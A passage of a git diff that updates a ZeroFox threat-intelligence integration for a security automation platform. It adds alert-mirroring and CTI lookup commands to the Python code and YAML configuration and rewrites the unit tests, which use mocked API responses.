hash: str = args.get("hash", "") + + outputs = [] + for hash_type in ["md5", "sha1", "sha256", "sha512"]: + hash_type_response = client.get_cti_malware(hash_type, hash) + outputs += get_malicious_hash_content(hash_type, hash_type_response) + + if len(outputs) == 0: + return CommandResults( + readable_output="No malicious hashes were found", + outputs=outputs, + outputs_prefix="ZeroFox.MaliciousHashes", + ) + return CommandResults( + outputs=outputs, + readable_output=tableToMarkdown("Malicious hash Summary", outputs), + outputs_prefix="ZeroFox.MaliciousHashes", + ) + + +def search_exploits_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + since: str = args.get("since", "") + + exploits_response = client.get_cti_exploits(since) + + outputs = get_exploits_content(exploits_response) + + if len(outputs) == 0: + return CommandResults( + outputs=outputs, + readable_output="No exploits were found", + outputs_prefix="ZeroFox.Exploits", + ) + return CommandResults( + outputs=outputs, + readable_output=tableToMarkdown("Exploit Search Summary", outputs), + outputs_prefix="ZeroFox.Exploits", + ) -''' COMMANDS MANAGER / SWITCH PANEL ''' + +""" COMMANDS MANAGER / SWITCH PANEL """ def main(): - commands = { - 'test-module': test_module, - 'zerofox-get-alert': get_alert_command, - 'zerofox-alert-user-assignment': alert_user_assignment_command, - 'zerofox-close-alert': close_alert_command, - 'zerofox-open-alert': open_alert_command, - 'zerofox-alert-request-takedown': alert_request_takedown_command, - 'zerofox-alert-cancel-takedown': alert_cancel_takedown_command, - 'zerofox-modify-alert-tags': modify_alert_tags_command, - 'zerofox-create-entity': create_entity_command, - 'zerofox-list-alerts': list_alerts_command, - 'zerofox-list-entities': list_entities_command, - 'zerofox-get-entity-types': get_entity_types_command, - 'zerofox-get-policy-types': get_policy_types_command, - 'fetch-incidents': fetch_incidents, + params = demisto.params() + USERNAME: str = params.get("credentials", {}).get("identifier") + PASSWORD: str = params.get("credentials", {}).get("password") + BASE_URL: str = ( + params["url"][:-1] + if params["url"].endswith("/") + else params["url"] + ) + FETCH_TIME: str = params.get( + "fetch_time", FETCH_TIME_DEFAULT, + ).strip() + FETCH_LIMIT: int = int(demisto.params().get("fetch_limit", "100")) + + commands: dict[str, Callable[[ZFClient, dict[str, Any]], Any]] = { + "get-modified-remote-data": get_modified_remote_data_command, + "get-remote-data": get_remote_data_command, + "zerofox-get-alert": get_alert_command, + "zerofox-alert-user-assignment": alert_user_assignment_command, + "zerofox-close-alert": close_alert_command, + "zerofox-open-alert": open_alert_command, + "zerofox-alert-request-takedown": alert_request_takedown_command, + "zerofox-alert-cancel-takedown": alert_cancel_takedown_command, + "zerofox-modify-alert-tags": modify_alert_tags_command, + "zerofox-create-entity": create_entity_command, + "zerofox-list-alerts": list_alerts_command, + "zerofox-list-entities": list_entities_command, + "zerofox-get-entity-types": get_entity_types_command, + "zerofox-get-policy-types": get_policy_types_command, + "zerofox-modify-alert-notes": modify_alert_notes_command, + "zerofox-submit-threat": submit_threat_command, + "zerofox-search-compromised-domain": compromised_domain_command, + "zerofox-search-compromised-email": compromised_email_command, + "zerofox-search-malicious-ip": malicious_ip_command, + "zerofox-search-malicious-hash": malicious_hash_command, + "zerofox-search-exploits": search_exploits_command, } try: + client = ZFClient( + base_url=BASE_URL, + ok_codes={200, 201}, + username=USERNAME, + password=PASSWORD, + fetch_limit=FETCH_LIMIT, + ) + handle_proxy() - commands[demisto.command()]() + command = demisto.command() + + if command == 'test-module': + results = test_module(client) + return_results(results) + elif command == 'fetch-incidents': + next_run, incidents = fetch_incidents( + client, + last_run=demisto.getLastRun(), + first_fetch_time=FETCH_TIME, + ) + demisto.setLastRun(next_run) + demisto.incidents(incidents) + elif command in commands: + command_handler = commands[command] + results = command_handler(client, demisto.args()) + return_results(results) + else: + raise NotImplementedError(f"Command '{command}' not implemented") # Log exceptions except Exception as e: - error_msg: str = str(e) - if demisto.command() == 'fetch-incidents': - LOG(error_msg) - LOG.print_log() - raise - else: - return_error(error_msg) + return_error(e) -if __name__ == 'builtins': +if __name__ in ["__main__", "builtin", "builtins"]: main() diff --git a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.yml b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.yml index 2aad61d60db5..2503778bf607 100644 --- a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.yml +++ b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.yml @@ -3,8 +3,8 @@ commonfields: id: ZeroFox version: -1 configuration: -- defaultvalue: https://api.zerofox.com/1.0 - display: URL (e.g., https://api.zerofox.com/1.0) +- defaultvalue: https://api.zerofox.com/ + display: URL (e.g., https://api.zerofox.com/) name: url required: true type: 0 @@ -25,7 +25,7 @@ configuration: name: fetch_time type: 0 required: false -- defaultvalue: '10' +- defaultvalue: '100' display: Fetch Limit name: fetch_limit required: true @@ -308,6 +308,8 @@ script: - auto: PREDEFINED description: A CSV list of alert types. name: alert_type + required: false + secret: false predefined: - account_information - entity_discovery_content @@ -516,12 +518,18 @@ script: - description: Name of the entity (may be non-unique). name: name required: true - - description: Indicates the type of string matching used for comparing entity names to impersonator names. + secret: false + - default: false + description: |- + Indicates the type of string matching used for comparing entity names + to impersonator names. It must be `true` or `false` + isArray: false name: strict_name_matching - description: |- - Comma-separated list of string tags for tagging the entity. + Comma-separated list of string tags for tagging the entity. For example: label1,label2,label3 + isArray: true name: tags - description: The ID of the policy to assign to the new entity. Can be retrieved running the zerofox-get-policy-types command. name: policy_id @@ -636,12 +644,149 @@ script: name: zerofox-get-entity-types - description: Shows a table of all policy type names and IDs in the War Room. name: zerofox-get-policy-types - dockerimage: demisto/python3:3.10.12.66339 + - arguments: + - name: source + required: true + auto: PREDEFINED + description: Content to be considered a threat + type: keyValue + - name: alert_type + required: true + auto: PREDEFINED + description: Type of content acting as a threat, could be one of email, ip, domain, url, phone, mail_exchange, page_content or account + type: keyValue + - name: violation + required: true + auto: PREDEFINED + description: Type of infringement the submitted threat represents, could be one of phishing, malware, rogue_app, impersonation, trademark, copyright, private_data, fraud or other + type: keyValue + - name: entity_id + required: true + auto: PREDEFINED + description: Identifier of the entity being threatened by submitted content + type: keyValue + - name: notes + description: Additional notes to include in submission + type: textArea + deprecated: false + description: Submits potential threats into the ZF alert registry for disruption. + execution: false + name: zerofox-submit-threat + outputs: + - contextPath: ZeroFox.Alert.ID + description: The ID of the alert created. + type: Number + - name: zerofox-search-compromised-domain + arguments: + - name: domain + required: true + description: Domain to search + type: keyValue + description: Looks for a given domain in Zerofox's CTI feeds + outputs: + - contextPath: ZeroFox.CompromisedDomains.Domain + type: string + description: Domain in which the search domain was found + - contextPath: ZeroFox.CompromisedDomains.LastModified + type: string + description: Last time that the threat was found + - contextPath: ZeroFox.CompromisedDomains.IPs + type: string + description: Related domains to the threat separated by commas + - name: zerofox-search-compromised-email + arguments: + - name: email + required: true + auto: PREDEFINED + description: email to search + type: keyValue + outputs: + - contextPath: ZeroFox.CompromisedEmails.Domain + type: string + description: Domain in which the search domain was found + - contextPath: ZeroFox.CompromisedEmails.Email + type: string + description: Email involved in the threat + - contextPath: ZeroFox.CompromisedEmails.CreatedAt + type: string + description: Date in which the email was found related to a threat + description: Looks for a given email in ZeroFox's CTI feeds + - name: zerofox-search-malicious-ip + arguments: + - name: ip + required: true + auto: PREDEFINED + description: ip to search + type: keyValue + outputs: + - contextPath: ZeroFox.MaliciousIPs.Domain + type: string + description: Domain in which the search domain was found + - contextPath: ZeroFox.MaliciousIPs.IPAddress + type: string + description: IP in which the search domain was found + - contextPath: ZeroFox.MaliciousIPs.CreatedAt + type: string + description: Date in which the ip was found related to a threat + description: Looks for malicious ips in ZeroFox's CTI feeds + - name: zerofox-search-malicious-hash + arguments: + - name: hash + required: true + auto: PREDEFINED + description: hash to search + type: keyValue + outputs: + - contextPath: ZeroFox.MaliciousHashes.CreatedAt + description: Date in which the ip was found related to a threat + type: string + - contextPath: ZeroFox.MaliciousHashes.Family + description: Family related threat + type: string + - contextPath: ZeroFox.MaliciousHashes.MD5 + description: Hash in MD5 format + type: string + - contextPath: ZeroFox.MaliciousHashes.SHA1 + description: Hash in SHA1 format + type: string + - contextPath: ZeroFox.MaliciousHashes.SHA256 + description: Hash in SHA256 format + type: string + - contextPath: ZeroFox.MaliciousHashes.SHA512 + description: Hash in SHA512 format + type: string + - contextPath: ZeroFox.MaliciousHashes.FoundHash + description: Indicates in which hash format was found the search + type: string + description: Looks for registered hashes in ZeroFox's CTI feeds + - name: zerofox-search-exploits + arguments: + - name: since + required: true + auto: PREDEFINED + description: Staring date for exploit search + type: keyValue + outputs: + - contextPath: ZeroFox.Exploits.CreatedAt + description: Date in which the ip was found related to a threat + type: string + - contextPath: ZeroFox.Exploits.CVECode + description: CVE Code to identify the exploit + type: string + - contextPath: ZeroFox.Exploits.URLs + description: URLs associated to the threat separated by commas + type: string + description: Looks for registered exploits in ZeroFox's CTI feeds + dockerimage: demisto/python3:3.10.12.68714 isfetch: true + longRunning: false + longRunningPort: false runonce: false script: '-' type: python subtype: python3 + isremotesyncin: true + isremotesyncout: false tests: - ZeroFox-Test fromversion: 5.0.0 diff --git a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_description.md b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_description.md index 0519ecba6ea9..eff55a114cac 100644 --- a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_description.md +++ b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_description.md @@ -1 +1,4 @@ - \ No newline at end of file + # ZeroFox + + ## Configuration + To connect to ZeroFox, you need to provide your username and Personal Access Token (PAT) as parameters when configuring the integration instance. To generate your PAT, visit: https://cloud.zerofox.com/data_connectors/api diff --git a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_test.py b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_test.py index be956cdaf9fd..fed48bb305e9 100644 --- a/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_test.py +++ b/Packs/ZeroFox/Integrations/ZeroFox/ZeroFox_test.py @@ -1,28 +1,1174 @@ import json -import demistomock as demisto - - -def test_get_alert_contents(mocker): - mocker.patch.object(demisto, 'params', return_value={ - 'url': 'https://api.zerofox.com/1.0' - }) - from ZeroFox import get_alert_contents - with open('./TestData/alert.json') as f: - alert_input = json.load(f) - result = get_alert_contents(alert_input) - with open('./TestData/alert_result.json') as f: - expected_output = json.load(f) - assert result == expected_output - - -def test_get_alert_contents_war_room(mocker): - mocker.patch.object(demisto, 'params', return_value={ - 'url': 'https://api.zerofox.com/1.0' - }) - from ZeroFox import get_alert_human_readable_outputs - with open('./TestData/alert_result.json') as f: - contents_input = json.load(f) - result = get_alert_human_readable_outputs(contents_input) - with open('./TestData/contents_result.json') as f: - expected_output = json.load(f) - assert expected_output == result +from dateparser import parse as parse_date +from datetime import timedelta +from ZeroFox import ( + ZFClient, + fetch_incidents, + get_modified_remote_data_command, + get_remote_data_command, + get_alert_command, + alert_user_assignment_command, + close_alert_command, + open_alert_command, + alert_request_takedown_command, + alert_cancel_takedown_command, + modify_alert_tags_command, + create_entity_command, + list_alerts_command, + list_entities_command, + get_entity_types_command, + get_policy_types_command, + modify_alert_notes_command, + submit_threat_command, + compromised_domain_command, + compromised_email_command, + malicious_ip_command, + malicious_hash_command, + search_exploits_command, +) + +BASE_URL = "https://api.zerofox.com" +OK_CODES = (200, 201) +FETCH_LIMIT = 10 +DATE_FORMAT = "%Y-%m-%dT%H:%M:%S.%f" + + +def load_json(file: str): + with open(file) as f: + return json.load(f) + + +def build_zf_client() -> ZFClient: + return ZFClient( + base_url=BASE_URL, + ok_codes=OK_CODES, + username='', + password='', + fetch_limit=FETCH_LIMIT, + ) + + +def get_delayed_formatted_date(str_date: str, delay=timedelta(milliseconds=1)): + formatted_date = parse_date(str_date, date_formats=(DATE_FORMAT,),) + if formatted_date is None: + raise ValueError("date must be a valid string date") + delayed_date = formatted_date + delay + return delayed_date.strftime(DATE_FORMAT) + + +def test_fetch_incidents_first_time_with_no_data(requests_mock, mocker): + """ + Given + There is 0 alerts + And last_run is empty + When + Calling fetch_incidents + Then + It should list alerts with first_fetch_time as min_timestamp + And offset equals to 0 + And return last_fetch equals to first_fetch_time + And last last_offset equals to 0 + And 0 incidents + """ + alerts_response = load_json("test_data/alerts/list_no_records.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/alerts/", json=alerts_response) + client = build_zf_client() + last_run: dict = {} + first_fetch_time = "2023-06-01T00:00:00.000000" + first_fetch_time_parsed = parse_date( + first_fetch_time, + date_formats=(DATE_FORMAT,), + ) + expected_offset = 0 + spy = mocker.spy(client, "list_alerts") + + next_run, incidents = fetch_incidents( + client, + last_run, + first_fetch_time, + ) + + spy.assert_called_once() + list_alert_params = spy.call_args[0][0] + assert list_alert_params.get("min_timestamp") == first_fetch_time_parsed + assert list_alert_params.get("sort_direction") == "asc" + assert list_alert_params.get("offset") == expected_offset + assert next_run["last_fetched"] == first_fetch_time + assert next_run["last_offset"] == str(expected_offset) + assert len(incidents) == 0 + + +def test_fetch_incidents_first_time(requests_mock, mocker): + """ + Given + There are alerts (less than the fetch limit) + And there is no last_fetched in last_run + When + Calling fetch_incidents + Then + It should list alerts with first_fetch_time as min_timestamp + And offset equals to 0 + And return last_fetch equals to last alert timestamp + 1 millisecond + And last last_offset equals to 0 + And 10 incidents correctly formatted + """ + alerts_response = load_json("test_data/alerts/list_10_records.json") + last_alert_timestamp = alerts_response["alerts"][-1]["timestamp"] + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/alerts/", json=alerts_response) + client = build_zf_client() + last_run: dict = {} + first_fetch_time = "2023-06-01T00:00:00.000000" + first_fetch_time_parsed = parse_date( + first_fetch_time, + date_formats=(DATE_FORMAT,), + ) + last_alert_timestamp_formatted = get_delayed_formatted_date( + last_alert_timestamp, + ) + expected_offset = 0 + spy = mocker.spy(client, "list_alerts") + + next_run, incidents = fetch_incidents( + client, + last_run, + first_fetch_time, + ) + + spy.assert_called_once() + list_alert_params = spy.call_args[0][0] + assert list_alert_params.get("min_timestamp") == first_fetch_time_parsed + assert list_alert_params.get("sort_direction") == "asc" + assert list_alert_params.get("offset") == expected_offset + assert next_run["last_fetched"] == last_alert_timestamp_formatted + assert next_run["last_offset"] == str(expected_offset) + assert len(incidents) == 10 + for incident in incidents: + assert "mirror_instance" in incident["rawJSON"] + assert "mirror_direction" in incident["rawJSON"] + + +def test_fetch_incidents_no_first_time(requests_mock, mocker): + """ + Given + There are alerts + And there are more in the next page + And last_fetched is set in last_run + And last_offset is set in last_run + When + Calling fetch_incidents + Then + It should list alerts with the last_fetched set in last_run + And with the last_offset set in last_run + And return last_fetch equals to last_fetched set + And last_offset equals to the offset set in the "next" link of the response + And 10 incidents correctly formatted + """ + alerts_response = load_json("test_data/alerts/list_10_records_and_more.json") + alerts_response["alerts"][-1]["timestamp"] + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/alerts/", json=alerts_response) + client = build_zf_client() + last_offset_saved = 10 + last_run = { + "last_fetched": "2023-07-01T12:34:56.000000", + "last_offset": str(last_offset_saved), + } + first_fetch_time = "2023-06-01T00:00:00.000000" + last_offset_expected = 20 + spy = mocker.spy(client, "list_alerts") + + next_run, incidents = fetch_incidents( + client, + last_run, + first_fetch_time, + ) + + spy.assert_called_once() + list_alert_params = spy.call_args[0][0] + min_timestamp_called = list_alert_params.get( + "min_timestamp" + ).strftime(DATE_FORMAT) + assert min_timestamp_called == last_run["last_fetched"] + assert list_alert_params.get("sort_direction") == "asc" + assert list_alert_params.get("offset") == last_offset_saved + assert next_run["last_fetched"] == last_run["last_fetched"] + assert next_run["last_offset"] == str(last_offset_expected) + assert len(incidents) == 10 + for incident in incidents: + assert "mirror_instance" in incident["rawJSON"] + assert "mirror_direction" in incident["rawJSON"] + + +def test_get_modified_remote_data_command_with_no_data(requests_mock, mocker): + """ + Given + There are no modified alerts + When + Calling get_modified_remote_data_command + Then + It should list alerts with the last_fetched set in last_run + And return an empty list + """ + alerts_response = load_json("test_data/alerts/list_no_records.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/alerts/", json=alerts_response) + client = build_zf_client() + spy = mocker.spy(client, "list_alerts") + args = {"lastUpdate": "2023-07-01T12:34:56"} + + results = get_modified_remote_data_command(client, args) + + spy.assert_called_once() + list_alerts_call_args = spy.call_args[0][0] + assert list_alerts_call_args["last_modified_min_date"] == args["lastUpdate"] + assert list_alerts_call_args["max_timestamp"] == args["lastUpdate"] + assert len(results.modified_incident_ids) == 0 + + +def test_get_modified_remote_data_command(requests_mock, mocker): + """ + Given + There are modified alerts + When + Calling get_modified_remote_data_command + Then + It should list alerts with the last_fetched set in last_run + And return a list with the ids of the modified alerts as strings + """ + alerts_response = load_json("test_data/alerts/list_10_records.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/alerts/", json=alerts_response) + client = build_zf_client() + spy = mocker.spy(client, "list_alerts") + args = {"lastUpdate": "2023-07-01T12:34:56"} + + results = get_modified_remote_data_command(client, args) + + spy.assert_called_once() + list_alerts_call_args = spy.call_args[0][0] + assert list_alerts_call_args["last_modified_min_date"] == args["lastUpdate"] + assert list_alerts_call_args["max_timestamp"] == args["lastUpdate"] + assert len(results.modified_incident_ids) == 10 + for modified_incident_id in results.modified_incident_ids: + assert isinstance(modified_incident_id, str) + + +def test_get_remote_data_command_with_opened_alert(requests_mock, mocker): + """ + Given + There is an opened alert id + When + Calling get_remote_data_command + Then + It should call fetch alert with the given id + And return the alert content + And no entries in entries list + """ + alert_id = 123 + alert_response = load_json("test_data/alerts/opened_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy = mocker.spy(client, "get_alert") + args = {"id": alert_id, "lastUpdate": ""} + + results = get_remote_data_command(client, args) + + spy.assert_called_once() + get_alert_call_arg = spy.call_args[0][0] + assert get_alert_call_arg == args["id"] + assert len(results.entries) == 0 + + +def test_get_remote_data_command_with_closed_alert(requests_mock, mocker): + """ + Given + There is an opened alert id + When + Calling get_remote_data_command + Then + It should call fetch alert with the given id + And return the alert content + And one entry in the entries list + """ + alert_id = "123" + alert_response = load_json("test_data/alerts/closed_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy = mocker.spy(client, "get_alert") + args = {"id": alert_id, "lastUpdate": ""} + + results = get_remote_data_command(client, args) + + spy.assert_called_once() + get_alert_call_arg = spy.call_args[0][0] + assert get_alert_call_arg == args["id"] + assert len(results.entries) == 1 + + +def test_get_alert_command(requests_mock, mocker): + """ + Given + There is an alert id + When + Calling get_alert_command + Then + It should call fetch alert with the given id + And return the alert as output + And with the correct output prefix + """ + alert_id = 123 + alert_response = load_json("test_data/alerts/closed_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id} + + results = get_alert_command(client, args) + + spy.assert_called_once() + get_alert_call_arg = spy.call_args[0][0] + assert get_alert_call_arg == args["alert_id"] + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_alert_user_assignment_command(requests_mock, mocker): + """ + Given + There is a username + And an alert id + When + Calling alert_user_assignment_command + Then + It should call the assign user to alert with correct data + And call fetch alert with the alert id + And return the alert as output + And with the correct output prefix + """ + alert_id = "123" + username = "user123" + alert_response = load_json("test_data/alerts/closed_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post(f"/1.0/alerts/{alert_id}/assign/") + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_assignment = mocker.spy(client, "alert_user_assignment") + spy_fetch = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id, "username": username} + + results = alert_user_assignment_command(client, args) + + spy_assignment.assert_called_once() + alert_id_called_in_assignment, username_called = spy_assignment.call_args[0] + assert int(alert_id) == alert_id_called_in_assignment + assert username == username_called + spy_fetch.assert_called_once() + alert_id_called_in_fetch, = spy_fetch.call_args[0] + assert int(alert_id) == alert_id_called_in_fetch + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_close_alert_command(requests_mock, mocker): + """ + Given + There is an alert id + When + Calling close_alert_command + Then + It should call the close alert with the alert id + And call fetch alert with the alert id + And return the alert as output + And with the correct output prefix + """ + alert_id = "123" + alert_response = load_json("test_data/alerts/closed_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post(f"/1.0/alerts/{alert_id}/close/") + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_close = mocker.spy(client, "close_alert") + spy_fetch = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id} + + results = close_alert_command(client, args) + + spy_close.assert_called_once() + alert_id_called_in_close, = spy_close.call_args[0] + assert int(alert_id) == alert_id_called_in_close + spy_fetch.assert_called_once() + alert_id_called_in_fetch, = spy_fetch.call_args[0] + assert int(alert_id) == alert_id_called_in_fetch + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_open_alert_command(requests_mock, mocker): + """ + Given + There is an alert id + When + Calling open_alert_command + Then + It should call the open alert with the alert id + And call fetch alert with the alert id + And return the alert as output + And with the correct output prefix + """ + alert_id = "123" + alert_response = load_json("test_data/alerts/opened_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post(f"/1.0/alerts/{alert_id}/open/") + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_open = mocker.spy(client, "open_alert") + spy_fetch = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id} + + results = open_alert_command(client, args) + + spy_open.assert_called_once() + alert_id_called_in_open, = spy_open.call_args[0] + assert int(alert_id) == alert_id_called_in_open + spy_fetch.assert_called_once() + alert_id_called_in_fetch, = spy_fetch.call_args[0] + assert int(alert_id) == alert_id_called_in_fetch + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_alert_request_takedown_command(requests_mock, mocker): + """ + Given + There is an alert id + When + Calling alert_request_takedown_command + Then + It should call the request takedown alert with the alert id + And call fetch alert with the alert id + And return the alert as output + And with the correct output prefix + """ + alert_id = "123" + alert_response = load_json("test_data/alerts/opened_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post(f"/1.0/alerts/{alert_id}/request_takedown/") + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_request_takedown = mocker.spy(client, "alert_request_takedown") + spy_fetch = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id} + + results = alert_request_takedown_command(client, args) + + spy_request_takedown.assert_called_once() + alert_id_called_in_request, = spy_request_takedown.call_args[0] + assert int(alert_id) == alert_id_called_in_request + spy_fetch.assert_called_once() + alert_id_called_in_fetch, = spy_fetch.call_args[0] + assert int(alert_id) == alert_id_called_in_fetch + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_alert_cancel_takedown_command(requests_mock, mocker): + """ + Given + There is an alert id + When + Calling alert_cancel_takedown_command + Then + It should call the cancel takedown alert with the alert id + And call fetch alert with the alert id + And return the alert as output + And with the correct output prefix + """ + alert_id = "123" + alert_response = load_json("test_data/alerts/opened_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post(f"/1.0/alerts/{alert_id}/cancel_takedown/") + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_cancel_takedown = mocker.spy(client, "alert_cancel_takedown") + spy_fetch = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id} + + results = alert_cancel_takedown_command(client, args) + + spy_cancel_takedown.assert_called_once() + alert_id_called_in_cancel, = spy_cancel_takedown.call_args[0] + assert int(alert_id) == alert_id_called_in_cancel + spy_fetch.assert_called_once() + alert_id_called_in_fetch, = spy_fetch.call_args[0] + assert int(alert_id) == alert_id_called_in_fetch + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_modify_alert_tags_command(requests_mock, mocker): + """ + Given + There is an alert id + When + Calling modify_alert_tags_command + Then + It should call the modify alert tags with the alert id + And the tags + And the action + And call fetch alert with the alert id + And return the alert as output + And with the correct output prefix + """ + alert_id = "123" + tags = "tag1,tag2,tag3" + action = "add" + action_in_request = "added" + tags_in_request = tags.split(",") + alert_response = load_json("test_data/alerts/opened_alert.json") + change_tags_response = load_json("test_data/alerts/change_tags.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post("/1.0/alerttagchangeset/", json=change_tags_response) + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_modify = mocker.spy(client, "modify_alert_tags") + spy_fetch = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id, "tags": tags, "action": action} + + results = modify_alert_tags_command(client, args) + + spy_modify.assert_called_once() + alert_id_called, action_called, tags_called = spy_modify.call_args[0] + assert int(alert_id) == alert_id_called + assert action_in_request == action_called + assert tags_in_request == tags_called + spy_fetch.assert_called_once() + alert_id_called_in_fetch, = spy_fetch.call_args[0] + assert int(alert_id) == alert_id_called_in_fetch + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_create_entity_command_with_true_flag(requests_mock, mocker): + """ + Given + There is an entity name + and its strict name matching flag + and its tags + and its policy id + and its organization + to create an entity + When + Calling create_entity_command + Then + It should call the create entity with the name + And the strict_name_matching flag + And the tags + And the policy_id + And the organization + And return the entity as output + And with the correct output prefix + """ + entity_name = "name" + strict_name_matching = "true" + tags = "tag1,tag2,tag3" + policy_id = 1 + organization = "org" + strict_name_matching_request = True + tags_request = tags.split(",") + entity_response = load_json("test_data/entities/create_entity.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post("/1.0/entities/", json=entity_response) + client = build_zf_client() + spy_create_entity = mocker.spy(client, "create_entity") + args = { + "name": entity_name, + "strict_name_matching": strict_name_matching, + "tags": tags, + "policy_id": policy_id, + "organization": organization, + } + + results = create_entity_command(client, args) + + spy_create_entity.assert_called_once() + called_args = spy_create_entity.call_args[0] + entity_name_called = called_args[0] + strict_name_matching_called = called_args[1] + tags_called = called_args[2] + policy_id_called = called_args[3] + organization_called = called_args[4] + assert entity_name_called == entity_name + assert strict_name_matching_called == strict_name_matching_request + assert tags_called == tags_request + assert policy_id_called == policy_id + assert organization_called == organization + + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == 'ZeroFox.Entity' + + +def test_create_entity_command_with_false_flag(requests_mock, mocker): + """ + Given + There is an entity name + and its strict name matching flag + and its tags + and its policy id + and its organization + to create an entity + When + Calling create_entity_command + Then + It should call the create entity with the name + And the strict_name_matching flag + And the tags + And the policy_id + And the organization + And return the entity as output + And with the correct output prefix + """ + entity_name = "name" + strict_name_matching = "false" + tags = "tag1,tag2,tag3" + policy_id = 1 + organization = "org" + strict_name_matching_request = False + tags_request = tags.split(",") + entity_response = load_json("test_data/entities/create_entity.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post("/1.0/entities/", json=entity_response) + client = build_zf_client() + spy_create_entity = mocker.spy(client, "create_entity") + args = { + "name": entity_name, + "strict_name_matching": strict_name_matching, + "tags": tags, + "policy_id": policy_id, + "organization": organization, + } + + results = create_entity_command(client, args) + + spy_create_entity.assert_called_once() + called_args = spy_create_entity.call_args[0] + entity_name_called = called_args[0] + strict_name_matching_called = called_args[1] + tags_called = called_args[2] + policy_id_called = called_args[3] + organization_called = called_args[4] + assert entity_name_called == entity_name + assert strict_name_matching_called == strict_name_matching_request + assert tags_called == tags_request + assert policy_id_called == policy_id + assert organization_called == organization + + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == 'ZeroFox.Entity' + + +def test_list_alerts_command_with_no_records(requests_mock, mocker): + """ + Given + There is no alerts + When + Calling list_alerts_command + Then + It should call fetch alerts + And return an empty list as output + And with the correct output prefix + """ + alerts_response = load_json("test_data/alerts/list_no_records.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/alerts/", json=alerts_response) + client = build_zf_client() + spy = mocker.spy(client, "list_alerts") + args: dict = {} + + results = list_alerts_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 0 + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_list_alerts_command_with_records(requests_mock, mocker): + """ + Given + There are alerts + When + Calling list_alerts_command + Then + It should call fetch alerts + And return a list with alerts as output + And with the correct output prefix + """ + alerts_response = load_json("test_data/alerts/list_10_records.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/alerts/", json=alerts_response) + client = build_zf_client() + spy = mocker.spy(client, "list_alerts") + args: dict = {} + + results = list_alerts_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 10 + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_list_entities_command_with_no_records(requests_mock, mocker): + """ + Given + There is no entities + When + Calling list_entities_command + Then + It should call fetch entities + And return an empty list as output + And with the correct output prefix + """ + entities_response = load_json("test_data/entities/entities_no_records.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/entities/", json=entities_response) + client = build_zf_client() + spy = 